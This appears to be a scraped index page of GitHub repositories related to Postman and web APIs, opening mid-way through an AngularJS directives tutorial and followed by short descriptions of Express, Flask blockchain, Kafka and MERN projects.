distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
glowcoil/Postman
lang, language, message, passing, program, programming 		A programming language based on message passing. 1 stars 1 watchers 0 forks

proof (3 listings) (Back to Top)

adamclmns/lather_ui
client, concept, inspiration, proof 		*PROOF OF CONCEPT* - A simple SOAP client UI. This project takes inspiration from Postman and SoapUI. Initial proof of concept is built on suds and tkinter 2 stars 2 watchers 2 forks
Gyanachand1/Blockchain
action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user 		# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią 0 stars 0 watchers 0 forks
jamesdean308/postman-detector
concept, detecting, human, program, proof, prototype, type 		Web-cam prototype OpenCV proof of concept program for detecting humans wearing particular coloured clothes(yellow). I intend for this to run on a TIAGo bot and have it compete in robotics competitions 0 stars 0 watchers 0 forks

charge (3 listings) (Back to Top)

shivkanthb/curlx
charge, collection, collections, curl, history 		◼️ Supercharge curl with history, collections and more. 0 stars 0 watchers 3 forks
ostranme/postman-super-charge-your-apis
brownbag, charge 		:zap: Slides for brownbag session on Postman 0 stars 0 watchers 0 forks
zh-hub/ahs-recharge-postman-json
charge, json 		爱回收自动化收费测试用例json脚本 0 stars 0 watchers 0 forks

keeper (3 listings) (Back to Top)

nosapaath/kontactList
keeper 		ReactJS Contact keeper, React Hooks, Postman, and MongoDB 1 stars 1 watchers 1 forks
awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks
cpvariyani/kafka-implementation-.net-core-c-
application, communication, console, consume, consumer, http, https, implementation, install, kafka, keeper, microservice, server, service, site, youtube 		youtube https://www.youtube.com/watch?v=ARqyWaZqn68&feature=youtu.be ..Practical Example for Use Apache Kafka In .NET Application, the demo for Kafka installation in .Net core and you can build Real-time Streaming Applications Using .NET Core c# and Kafka. Steps 1. Download Prerequisite for Kafka and zookeeper 2. Install Kafka and zookeeper 3. Create a topic in Kafka console 4. Start the Kafka producer server 5. Start the Kafka consumer server 6. Create .Net core microservice as a producer 7. Create .Net core application as a consumer 8. Test Kafka implementation using postman to see the communication between communication. 0 stars 0 watchers 0 forks

elegant (3 listings) (Back to Top)

tangcent/easy-api
comments, document, documentation, elegant 		Elegant documentation comes from elegant code comments 0 stars 0 watchers 7 forks
SalahEddine007/mern_devconnector
action, application, backend, bank, basics, component, components, container, course, editor, elegant, endpoint, endpoints, extension, frontend, includes, integrate, mern, network, rating, resource, resources, route, routes, script, social, source, stat, test, testing, workflow 		Welcome to "MERN Stack Front To Back". In this course we will build an in depth full stack social network application using Node.js, Express, React, Redux and MongoDB along with ES6+. We will start with a bank text editor and end with a deployed full stack application. This course includes... Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension Creating a build script, securing our keys and deploy to Heroku using Git This is NOT an "Intro to React" or "Intro to Node" course. It is a practical hands on course for building an app using the incredible MERN stack. I do try and explain everything as I go so it is possible to follow without React/Node experience but it is recommended that you know at least the basics first. 0 stars 0 watchers 0 forks
guys1444/node.js-socialNetwork
action, backend, component, components, container, elegant, endpoint, endpoints, extension, frontend, integrate, node, rating, resource, resources, route, routes, social, source, stat, test, testing, workflow 		socialNetwork that ive made in node.js Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension ,MERN STACK 0 stars 0 watchers 0 forks

technical (3 listings) (Back to Top)

alexsanya/Postman
task, technical 		Test technical task for PlayKot 0 stars 0 watchers 0 forks
blobtimm/postman-collection-and-kotlin-rest-server
collection, portion, rest, server, technical, workshop 		The technical portion to our QAIQuest 2019 workshop. 0 stars 0 watchers 0 forks
sushildangi/omnicuris-technical-assignment-e-commerce
application, assignment, bulk, case, cases, commerce, email, list, listing, mail, operation, operations, order, orders, stock, technical 		1. CRUD operations on items 2. All items listing 3. Single & bulk ordering (Just consider the item, no. of items & email ids as params for ordering) 4. All orders Please consider all the cases like out of stock etc. while making the application. You can also add more features/APIs as suitable for you. 0 stars 0 watchers 0 forks